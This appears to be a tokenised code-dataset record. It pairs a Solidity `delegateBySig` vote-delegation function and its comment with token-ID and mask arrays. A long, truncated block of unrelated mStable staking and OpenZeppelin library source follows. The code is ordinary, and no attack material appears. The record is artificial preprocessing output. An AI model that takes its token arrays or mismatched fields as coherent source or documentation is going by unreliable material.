* @notice Delegates votes from signatory to `delegatee` @param delegatee The address to delegate votes to @param nonce The contract state required to match the signature @param expiry The time at which to expire the signature @param v The recovery byte of the signature @param r Half of the ECDSA signature pair @param s Half of the ECDSA signature pair/
function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "yPOT::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "yPOT::delegateBySig: invalid nonce"); require(now <= expiry, "yPOT::delegateBySig: signature expired"); return _delegate(signatory, delegatee); }
13,877,190
[ 1, 15608, 815, 19588, 628, 1573, 8452, 358, 1375, 22216, 73, 68, 225, 7152, 73, 1021, 1758, 358, 7152, 19588, 358, 225, 7448, 1021, 6835, 919, 1931, 358, 845, 326, 3372, 225, 10839, 1021, 813, 622, 1492, 358, 6930, 326, 3372, 225, 331, 1021, 11044, 1160, 434, 326, 3372, 225, 436, 670, 6186, 434, 326, 7773, 19748, 3372, 3082, 225, 272, 670, 6186, 434, 326, 7773, 19748, 3372, 3082, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7152, 858, 8267, 12, 203, 3639, 1758, 7152, 73, 16, 203, 3639, 2254, 7448, 16, 203, 3639, 2254, 10839, 16, 203, 3639, 2254, 28, 331, 16, 203, 3639, 1731, 1578, 436, 16, 203, 3639, 1731, 1578, 272, 203, 565, 262, 203, 3639, 3903, 203, 565, 288, 203, 3639, 1731, 1578, 2461, 6581, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 12, 203, 7734, 27025, 67, 2399, 15920, 16, 203, 7734, 417, 24410, 581, 5034, 12, 3890, 12, 529, 10756, 3631, 203, 7734, 30170, 548, 9334, 203, 7734, 1758, 12, 2211, 13, 203, 5411, 262, 203, 3639, 11272, 203, 203, 3639, 1731, 1578, 1958, 2310, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 12, 203, 7734, 2030, 19384, 2689, 67, 2399, 15920, 16, 203, 7734, 7152, 73, 16, 203, 7734, 7448, 16, 203, 7734, 10839, 203, 5411, 262, 203, 3639, 11272, 203, 203, 3639, 1731, 1578, 5403, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 4420, 329, 12, 203, 7734, 1548, 92, 3657, 64, 92, 1611, 3113, 203, 7734, 2461, 6581, 16, 203, 7734, 1958, 2310, 203, 5411, 262, 203, 3639, 11272, 203, 203, 3639, 1758, 1573, 8452, 273, 425, 1793, 3165, 12, 10171, 16, 331, 16, 436, 16, 272, 1769, 203, 3639, 2583, 12, 2977, 8452, 480, 1758, 12, 20, 3631, 315, 93, 52, 1974, 2866, 22216, 858, 8267, 30, 2057, 3372, 8863, 203, 3639, 2583, 12, 12824, 422, 1661, 764, 63, 2977, 8452, 3737, 15, 16, 315, 93, 52, 1974, 2866, 22216, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-09-16 */ pragma solidity 0.8.6; pragma abicoder v2; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } struct Balance { /// units of staking token that has been deposited and consequently wrapped uint88 raw; /// (block.timestamp - weightedTimestamp) represents the seconds a user has had their full raw balance wrapped. /// If they deposit or withdraw, the weightedTimestamp is dragged towards block.timestamp proportionately uint32 weightedTimestamp; /// multiplier awarded for staking for a long time uint8 timeMultiplier; /// multiplier duplicated from QuestManager uint8 questMultiplier; /// Time at which the relative cooldown began uint32 cooldownTimestamp; /// Units up for cooldown uint88 cooldownUnits; } struct QuestBalance { /// last timestamp at which the user made a write action to this contract uint32 lastAction; /// permanent multiplier applied to an account, awarded for PERMANENT QuestTypes uint8 permMultiplier; /// multiplier that decays after each "season" (~9 months) by 75%, to avoid multipliers getting out of control uint8 seasonMultiplier; } /// @notice Quests can either give permanent rewards or only for the season enum QuestType { PERMANENT, SEASONAL } /// @notice Quests can be turned off by the questMaster. All those who already completed remain enum QuestStatus { ACTIVE, EXPIRED } struct Quest { /// Type of quest rewards QuestType model; /// Multiplier, from 1 == 1.01x to 100 == 2.00x uint8 multiplier; /// Is the current quest valid? QuestStatus status; /// Expiry date in seconds for the quest uint32 expiry; } interface IStakedToken { // GETTERS function COOLDOWN_SECONDS() external view returns (uint256); function UNSTAKE_WINDOW() external view returns (uint256); function STAKED_TOKEN() external view returns (IERC20); function getRewardToken() external view returns (address); function pendingAdditionalReward() external view returns (uint256); function whitelistedWrappers(address) external view returns (bool); function balanceData(address _account) external view returns (Balance memory); function balanceOf(address _account) external view returns (uint256); function rawBalanceOf(address _account) external view returns (uint256, uint256); function calcRedemptionFeeRate(uint32 _weightedTimestamp) external view returns (uint256 _feeRate); function safetyData() external view returns (uint128 collateralisationRatio, uint128 slashingPercentage); function delegates(address account) external view returns (address); function getPastTotalSupply(uint256 blockNumber) external view returns (uint256); function getPastVotes(address account, uint256 blockNumber) external view returns (uint256); function getVotes(address account) external view returns (uint256); // HOOKS/PERMISSIONED function applyQuestMultiplier(address _account, uint8 _newMultiplier) external; // ADMIN function whitelistWrapper(address _wrapper) external; function blackListWrapper(address _wrapper) external; function changeSlashingPercentage(uint256 _newRate) external; function emergencyRecollateralisation() external; function setGovernanceHook(address _newHook) external; // USER function stake(uint256 _amount) external; function stake(uint256 _amount, address _delegatee) external; function stake(uint256 _amount, bool _exitCooldown) external; function withdraw( uint256 _amount, address _recipient, bool _amountIncludesFee, bool _exitCooldown ) external; function delegate(address delegatee) external; function startCooldown(uint256 _units) external; function endCooldown() external; function reviewTimestamp(address _account) external; function claimReward() external; function claimReward(address _to) external; // Backwards compatibility function createLock(uint256 _value, uint256) external; function exit() external; function increaseLockAmount(uint256 _value) external; function increaseLockLength(uint256) external; } library MathUpgradeable { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute. return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } library ECDSAUpgradeable { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return recover(hash, r, vs); } else { revert("ECDSA: invalid signature length"); } } /** * @dev Overload of {ECDSA-recover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value" ); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } library SafeCastExtended { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint88 from uint256, reverting on * overflow (when the input is greater than largest uint88). * * Counterpart to Solidity's `uint88` operator. * * Requirements: * * - input must fit into 88 bits */ function toUint88(uint256 value) internal pure returns (uint88) { require(value <= type(uint88).max, "SafeCast: value doesn't fit in 88 bits"); return uint88(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require( value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits" ); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require( value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits" ); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require( value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits" ); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require( value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits" ); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require( value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits" ); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } interface ILockedERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract ModuleKeys { // Governance // =========== // keccak256("Governance"); bytes32 internal constant KEY_GOVERNANCE = 0x9409903de1e6fd852dfc61c9dacb48196c48535b60e25abf92acc92dd689078d; //keccak256("Staking"); bytes32 internal constant KEY_STAKING = 0x1df41cd916959d1163dc8f0671a666ea8a3e434c13e40faef527133b5d167034; //keccak256("ProxyAdmin"); bytes32 internal constant KEY_PROXY_ADMIN = 0x96ed0203eb7e975a4cbcaa23951943fa35c5d8288117d50c12b3d48b0fab48d1; // mStable // ======= // keccak256("OracleHub"); bytes32 internal constant KEY_ORACLE_HUB = 0x8ae3a082c61a7379e2280f3356a5131507d9829d222d853bfa7c9fe1200dd040; // keccak256("Manager"); bytes32 internal constant KEY_MANAGER = 0x6d439300980e333f0256d64be2c9f67e86f4493ce25f82498d6db7f4be3d9e6f; //keccak256("Recollateraliser"); bytes32 internal constant KEY_RECOLLATERALISER = 0x39e3ed1fc335ce346a8cbe3e64dd525cf22b37f1e2104a755e761c3c1eb4734f; //keccak256("MetaToken"); bytes32 internal constant KEY_META_TOKEN = 0xea7469b14936af748ee93c53b2fe510b9928edbdccac3963321efca7eb1a57a2; // keccak256("SavingsManager"); bytes32 internal constant KEY_SAVINGS_MANAGER = 0x12fe936c77a1e196473c4314f3bed8eeac1d757b319abb85bdda70df35511bf1; // keccak256("Liquidator"); bytes32 internal constant KEY_LIQUIDATOR = 0x1e9cb14d7560734a61fa5ff9273953e971ff3cd9283c03d8346e3264617933d4; // keccak256("InterestValidator"); bytes32 internal constant KEY_INTEREST_VALIDATOR = 0xc10a28f028c7f7282a03c90608e38a4a646e136e614e4b07d119280c5f7f839f; } interface INexus { function governor() external view returns (address); function getModule(bytes32 key) external view returns (address); function proposeModule(bytes32 _key, address _addr) external; function cancelProposedModule(bytes32 _key) external; function acceptProposedModule(bytes32 _key) external; function acceptProposedModules(bytes32[] calldata _keys) external; function requestLockModule(bytes32 _key) external; function cancelLockModule(bytes32 _key) external; function lockModule(bytes32 _key) external; } abstract contract ImmutableModule is ModuleKeys { INexus public immutable nexus; /** * @dev Initialization function for upgradable proxy contracts * @param _nexus Nexus contract address */ constructor(address _nexus) { require(_nexus != address(0), "Nexus address is zero"); nexus = INexus(_nexus); } /** * @dev Modifier to allow function calls only from the Governor. */ modifier onlyGovernor() { _onlyGovernor(); _; } function _onlyGovernor() internal view { require(msg.sender == _governor(), "Only governor can execute"); } /** * @dev Modifier to allow function calls only from the Governance. * Governance is either Governor address or Governance address. */ modifier onlyGovernance() { require( msg.sender == _governor() || msg.sender == _governance(), "Only governance can execute" ); _; } /** * @dev Returns Governor address from the Nexus * @return Address of Governor Contract */ function _governor() internal view returns (address) { return nexus.governor(); } /** * @dev Returns Governance Module address from the Nexus * @return Address of the Governance (Phase 2) */ function _governance() internal view returns (address) { return nexus.getModule(KEY_GOVERNANCE); } /** * @dev Return SavingsManager Module address from the Nexus * @return Address of the SavingsManager Module contract */ function _savingsManager() internal view returns (address) { return nexus.getModule(KEY_SAVINGS_MANAGER); } /** * @dev Return Recollateraliser Module address from the Nexus * @return Address of the Recollateraliser Module contract (Phase 2) */ function _recollateraliser() internal view returns (address) { return nexus.getModule(KEY_RECOLLATERALISER); } /** * @dev Return Liquidator Module address from the Nexus * @return Address of the Liquidator Module contract */ function _liquidator() internal view returns (address) { return nexus.getModule(KEY_LIQUIDATOR); } /** * @dev Return ProxyAdmin Module address from the Nexus * @return Address of the ProxyAdmin Module contract */ function _proxyAdmin() internal view returns (address) { return nexus.getModule(KEY_PROXY_ADMIN); } } interface IRewardsDistributionRecipient { function notifyRewardAmount(uint256 reward) external; function getRewardToken() external view returns (IERC20); } abstract contract InitializableRewardsDistributionRecipient is IRewardsDistributionRecipient, ImmutableModule { // This address has the ability to distribute the rewards address public rewardsDistributor; constructor(address _nexus) ImmutableModule(_nexus) {} /** @dev Recipient is a module, governed by mStable governance */ function _initialize(address _rewardsDistributor) internal virtual { rewardsDistributor = _rewardsDistributor; } /** * @dev Only the rewards distributor can notify about rewards */ modifier onlyRewardsDistributor() { require(msg.sender == rewardsDistributor, "Caller is not reward distributor"); _; } /** * @dev Change the rewardsDistributor - only called by mStable governor * @param _rewardsDistributor Address of the new distributor */ function setRewardsDistribution(address _rewardsDistributor) external onlyGovernor { rewardsDistributor = _rewardsDistributor; } } library StableMath { /** * @dev Scaling unit for use in specific calculations, * where 1 * 10**18, or 1e18 represents a unit '1' */ uint256 private constant FULL_SCALE = 1e18; /** * @dev Token Ratios are used when converting between units of bAsset, mAsset and MTA * Reasoning: Takes into account token decimals, and difference in base unit (i.e. grams to Troy oz for gold) * bAsset ratio unit for use in exact calculations, * where (1 bAsset unit * bAsset.ratio) / ratioScale == x mAsset unit */ uint256 private constant RATIO_SCALE = 1e8; /** * @dev Provides an interface to the scaling unit * @return Scaling unit (1e18 or 1 * 10**18) */ function getFullScale() internal pure returns (uint256) { return FULL_SCALE; } /** * @dev Provides an interface to the ratio unit * @return Ratio scale unit (1e8 or 1 * 10**8) */ function getRatioScale() internal pure returns (uint256) { return RATIO_SCALE; } /** * @dev 